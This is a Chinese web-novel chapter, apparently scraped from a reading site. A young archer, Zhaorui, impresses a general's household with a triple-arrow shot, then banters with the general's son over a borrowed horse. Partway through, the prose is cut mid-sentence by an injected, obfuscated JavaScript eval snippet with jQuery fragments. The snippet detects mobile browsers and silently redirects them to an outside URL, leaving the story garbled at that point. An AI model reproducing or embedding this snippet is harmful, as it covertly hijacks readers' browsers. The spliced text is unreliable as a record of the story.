就算是旧弓,拉起来也很轻松,着实比自己那把要好用多了。
昭睿选了最远的靶子,约莫着有个百八十步,她满心满眼的想着绝不能给师父丢人。
这样的选择倒是让围观的人有些惊讶。
昭睿强迫自己静下来,调匀气息。
双腿站定,只把注意力放在眼前的箭靶上。
她从斜跨着的皮桶里抽出一只长箭,左手挽弓,搭箭,拉弦。
动作行云流水,一气呵成。
箭已上弦,她只等一个合适的瞬间。
按照自己的力度,镇北的风向,阻力,推断出轨迹,持弓的双手微微移动。
在一瞬间,箭矢飞射而出,突破层层阻碍。
箭头直直的穿过红色的靶心。
“中!”
另一头报靶的声音和掌声同时传来。
昭睿的意识从刚才射箭的氛围中拉出。
她心算也是彻彻底底的放下,自己绝对没给师父丢人。
将才的动作,让骆云英觉得自己有些小瞧了这个女娘。
她的一招一式,完全不像是随便习得,倒有几分军中的味道。
离弦之箭破空的声音,引得旁人纷纷侧目。
众人回头之时,箭头已经穿靶而过,独留下箭羽卡在靶心中央。
连连的夸赞倒是让昭睿有些不好意思的挠了挠头。
“我还以为,能把靶子射穿的。”
“好!!好!睿儿你当真是有一手好本领。”她拍手连连夸赞,身边跟着的侍女小厮也都纷纷投来敬佩的目光。
“夫人,我还会一个不同的,能否请人,帮我在同一个距离摆上三个靶子。”
“去,按她说得。”骆云英想都没想就安排小厮。
三个靶子,她能做什么,还能一次射出三支箭不成,骆云英十分好奇,这等技艺现在就连军中也鲜有人会了。
这一箭也引起了旁边四人的注意,听到她要三个目标,更是来了兴趣。
余潇然眼睛瞪的大大的。一脸惊诧,他没想到这小女娘居然真的会!而且还是拿着一把他儿时用的旧弓。
不言倒是一副早就如此的模样,心里想着她会的可不止如此。
风恒来了几分兴趣,靠近小道士悄咪咪的问了几句,他想知道教她射箭的人到底是谁。人又在哪里?
“她的姿势颇有几分故人的影子!”
余威瞧了两眼,自顾自的说了这么一句让余潇然摸不到头脑的话。
风恒还没问出答案,只见场上的小女娘再次搭弓,横向三箭上弦。
她看了眼靶子,前后走了几步,调整距离。
昭睿想起了萧生华第一次教她说的话,心里像平静的湖面。
场上全然安静下来,没有人出声。只有野草随风飘动的微小声响。
搭配的箭有些长,她努力的稳住自己的双臂。
虽然现下还不能同师父一般,三箭都射中活物,但静止的靶子,应当是能成。
所有人的目光追着三个离弦的箭矢一起到达靶心。
“全中!”对面之人检查完箭靶,传回结果。
整个练武场上沸腾了起来,一些不当值的家丁府兵,也都聚了过来,为她精湛的射艺赞叹。
射箭是一项,需要耐心需要准头的技能。
小小年纪做到如此地步,确是可塑之才。
“她跟生华简直一模一样。”余威和风恒认出来了。
那个离开的神射手,这小女娘身上他的影子。
“夫人可还想看,我还能竖着三箭射中人形靶,或者是单箭射中抛上天的苹果。”昭睿的心情也跟着兴奋起来,这场地,这训练环境,比自己在野外瞎搭的好了不知多少。
“敢问昭小姐,师从何人。”余潇然跟在自己父亲的身后一起走了过来。
余威突如其来的发问,叫她不好不答。
昭睿迟疑了一会儿避重就轻的说到:“我学艺不精,远远不及师父的万分之一,就不提及家师的名讳了。”她按照萧生华的意愿,就此含糊过去。
“不提也罢,只是,他人可还好?”风恒师傅也开了口,迫切的向昭睿追问那人的情况。
当年一别,至今已是音讯全无。
“风恒师傅与我师父是旧识?”
“他如今身体还算康健,前些日才同我告别,云游山水去了。”
昭睿心思敏锐,从言语中也能猜的几分。眼前几人约莫着都是师父的旧识。
将军她明白,但风恒师傅又是怎么搅合进去的?他以前也是镇北的士兵?昭睿心中存疑,想着什么时候再寻盈之问个清楚。
听到小女娘的答案,几人都安心了下来。
人还活着,就是最大的幸事!
“怎么那般多问题,睿儿还没给我展示完,你们几个去一边练自己的,莫要影响我们!”骆云英那边已经让人摆好了新的稻草靶子,她好久没觉着这么开心了。
看见后面躲着的儿子,她挥手让余潇然走过来,和自己站在一起。
“你认真些,看看人家的姿势。学着点儿!”
师父当年最拿手的应该就是这三箭齐发,分别射中敌军的首,腹,股三个位置。
即使没有当场毙命,造成的伤害绝对是药石无医。
战场上,不是你死便是我亡。
昭睿明白这种危机带来的感觉,萧生华也明白。
所以她学得会,射出的箭冷静,沉稳,不带什么感情。
两支箭矢扎在稻草靶子的头和胸。最后一箭有些尴尬,正正好好扎在人型靶子的两腿之间。
在场的男子无一不想象到了那种撕心裂肺的疼痛。
“这哪是小白兔,这是一个披着羊皮的饿狼,顶着兔头的毒蛇!”
余潇然扯着阿母的袖子小声嘟囔几句,他竟然开始后怕这小女娘前些时日踹的那一脚。
差一点,就差一点,自己估计就要断子绝孙了,这当真是让他背后发凉。
就在大家一声声热情的喝彩里,昭睿把学会的东西硬生生都来了一遍。
箭筒空了,她这才略显疲惫的把手上的弓递给一旁,呆站着的少年郎君。
“多谢小侯爷借我弓箭。上次的事情是我错了,还望您大人有大量不跟我一般见识!”眼瞧着刚才还威风凛凛的小女娘,转身来给他服软道歉,余潇然的气一下子就消了大半。
“我本就不怪你,况且你一个小女娘,当时的情况误会了要自保,也是可以理解的。”
他单手接过弓箭,在手上掂量了一下。
又仔细的回想了一遍,当年自己怎么就没深学这如此厉害的技艺。
他一直练的是近战,不管是练剑,又或是骑马挥刀,余潇然向来是要争个第一。
唯独这射箭则是排在最后,只算是基础达标了。
少年郎君心中的气,就在于他自从遇上这小女娘之后,自己就被比下去了。
父亲的夸赞,阿母的喜欢,让他有了些不满。
不过看这小女娘小小一个,其他的方面,肯定是胜不过自己。
“昭小姐当真是技艺精湛,日后若是需要,随时可以来此练习。”
余威满眼欣赏的看向她,萧生华后继有人,他的徒弟,自己理应照拂一二。
“是啊睿儿,你明日要是有时间,来同我一起晨练如何?”
“正好现在家中三个孩子都在,可以一起来。”骆云英眼睛一亮,像是寻到了什么有趣的事情,满怀欣喜的提了出来。
骆云英满眼期待的望向三人。
不言这边本来就要在城中打听消息,况且他起的早,自然没什么问题,他点点头就算应下了。
余潇然自小习惯军中作息,自然也愿意。
只剩下一个贪睡的昭睿,话赶话的一下子被驾在中间有些为难。
“夫人,我尽力,若是商队无事,便每日都可以来。”
看着她一副纠结的样子,不言心中暗生窃喜,憋住自己的笑意,内心幸灾乐祸的想到,魔高一尺道高一丈,终于有人能治住她了。
“那两个男孩儿归我,小娘子就留给您!”
“这样练习一段时间,也可有个比较。”
风恒乐得见到这种局面,他和骆云英一样是爱热闹的,本来只是顺道儿指导余潇然,现下又多了个来找自己的小徒弟,正好可以将两人一起操练了,也好有个比较。
“这般也好,夫人开心便是!”余威在一旁点头附和。
骆云英又拉着昭睿家长里短说了很久,太阳都快下山了才愿意放她回去。
要不是那昭睿已有住处,她真想让这小女娘就住在府上。
昭睿拖着略显疲惫的身子往驿站的路上走,她本就应付不来这种人多的场面,每每如此就觉着格外的累。
所以家中年节,能躲的场合便都被她自己揶揄过去。
眼下的境地,怕也是只能牺牲黄金睡眠时间喽!
她活动着胳膊上有些酸软的肌肉,对着天空长长叹了一大口气。
“等一下!”呼喝声伴随这马蹄的声音,有人追上了她。
余潇然骑着匹红棕色的马驹,手里提着一个大大的盒子。
“这是阿母让我给你的,府上做的羊肉。”
“看你这么爱吃,她专门叫厨子又给你备上了一份。”他翻身从马上一跃而下,站在昭睿面前,正巧儿遮住了夕阳余光。
“谢谢小侯爷,请您替我也谢谢夫人。”昭睿躬身致谢,伸手去拿大大的盒子。
只是掂量一下就知道里面放了不少东西,余潇然见她拿过盒子,自己倒是有些犹豫起来。
“那个,盒子有点重。你若是,若是....”声音越来越小,最后的尾音比蚊子振翅还难以听清。
这一个个的小郎君怎么都这么扭捏?还是说这个年纪的男子都是这般,昭睿在脑子里转了转念头。
仰起脸,看到余潇然别别扭扭拧成一团的五官更显疑惑,难道,他不舒服了吗?
昭睿干脆把食盒放在地上,顺了手,将余潇然背在身后的胳膊拉了出来。
细长手指搭在他的腕脉处。
“诶诶!你,你干嘛突然拉上来,如此这般,太不合礼数了。”
余潇然吓了一跳,急切的想要抽回被抓住的手。
只是小女娘住的很牢,见他扭来扭去还拍了一他把,示意不要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215277|180841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱动。
“我看小侯爷面色发红,额间还有些虚汗,替你把一下脉。”
瞧着小郎君耳根子都红透了,昭睿后知后觉,想着他是误会了自己的行为。
她熟练对着面前俊朗的郎君礼貌的笑了笑。
她跟着道观里的老师傅学了一手,虽然只是些浅显的功夫,但有没有问题还是可以看出来的。
余潇然被她这么一靠近,耳朵尖都红透了。
他害羞的把脸扭开,配合着她的动作,任由眼前的小女娘拿捏。
“小侯爷,身体康健极了,只是气血有些太旺了,或许可以多吃点儿降火的草药。”她一脸认真的撒开余潇然的手,嘱咐到。
“我我,我清楚!现下,不是这个问题!我是想....”
“那食盒有些重,你若是拿不动,我可以骑马带你回去。”一咬牙,可算是讲出来了,就这几句直白的话倒是把他憋的有些喘气儿。
昭睿抬头从他起伏的胸口一路望上去。
他和不言还是很不同的,身体看起来更壮实些,浑身上下带着一种生于草原,长于草原的野性,脖子上带着太阳留下的晒痕,挂着一跟红绳,随着少年呼吸,他的喉结也跟着微微颤动。
再往上,侧着斜阳,轮廓分明的面颊,挺俏的鼻子,深色的浓眉。
最后对上一双,黑溜溜又湿漉漉的眼神儿。
突然让昭睿想起了二郎,她的心一下子就软了下来。
难道还是自己那一脚踹出问题了?还是他有什么隐疾自己没看出来?不然怎么这么容易就喘上了?
“小侯爷?小侯爷?”昭睿看他愣神,对他跳着晃来晃去。
余潇然心跳的像打鼓一般,他僵硬伸出双手,摆手作出停止的手势,这才让小女娘站定。
昭睿停下来,歪头盯着他看了一会儿。
“要不我还是带你去医馆瞧一瞧吧,别是有什么病根儿?”她伸出手,拉着少年的袖子就要走。
“我,真的无事!可能最近天热火气大,我身子骨好得很!”
“况且我身边有会医之人,你别管了。”
余潇然赶忙为自己辩解。
“我阿母想着,你今天累了,让我送你回去。”
“你要是不愿,就,就算了。”
昭睿看了看他身后摇头晃脑的小马驹,又看了看面前的少年。
“就一匹马?”
“我要是骑走了,你怎么办?”
怀明在暗处瞧的要发疯了,这两个人到底是什么情况!。
骑着马送她回去,再骑回府不就得了。
哪儿用得着这般拉扯!自己家小侯爷那样子完全被人拿捏,一副不值钱表情更是让人崩溃。
他气的背过身去。
“它认得路,送你到了自己便会回来了。”他把缰绳递给昭睿,低下头无不再和她对视。
“那我就,谢过小侯爷啦。”她没有再客气,身体却是乏了,这就有人送了马来。真是想什么来什么!
余潇然伸出一只手,刚想扶她,就见昭睿已然翻身上马。
她的身型比少年小上一圈,马镫有些够不到。
昭睿一扭头,发现食盒还在地上。
她再次开口搭话“小侯爷,麻烦帮我递一下。”
少年提起盒子直直举给她。
或许是太阳要下山了,微凉的风吹动她落下的发丝。
她发间别着一根精巧的木头簪子,散落的碎发透过一点点橘黄色的暖光。
马上的小女娘在落日的余晖下,周身罩着一层光晕,不知怎的,眼前的景象让余潇然的心忽然被什么狠狠撞击了一下,说不出来的悸动。
她笑的明媚,眼角跟着弯起来,柔和的五官看起来舒服极了。
纤长的手指轻捏住缰绳,袖口束的整齐。骑马的姿态也很好看。
“明日见!”缰绳收放的尺度恰到好处,即使是身下的烈马也会乖乖顺从,跟着她的节奏踏着最后一丝残阳小跑了起来。
昭睿对付半大小子格外得心应手,上辈子女扮男装当纨绔子弟的经验起了作用,还好自己口才不算差,再加上十分具有迷惑性外表,总能让人轻松的放下戒心。
以柔克刚,一直是她的拿手好戏。
她才不是那么好对付的小娘子,怀明看了看还愣在原地的自家主子,叹了口气。
“所以,该回去了!主子你醒醒,是不是被人家迷住了?!”
“算了,我劝你有个屁用。”
怀明扭过头,手搭在余潇然的肩膀上,不死心的继续追问。
“你要是喜欢,为什么不骑马送她回去。”
“算了,麻烦。”
怀明一向言语犀利,几句话戳的余潇然心窝子暗暗发紧。
“谁说我喜欢,我只是见到女子太少了而已。”如此强词夺理,倒也好像有几分道理,怀明点了点头,浅笑几分又摇了摇头就往前走。
瞧怀明的样子,余潇然还想再说点什么,
他快步跟上怀明的身影,轻轻撞了他一下表示自己的不满。
另一边昭睿骑在马上一路行来,看着镇北的日落。
有些欣喜,又有些悲凉。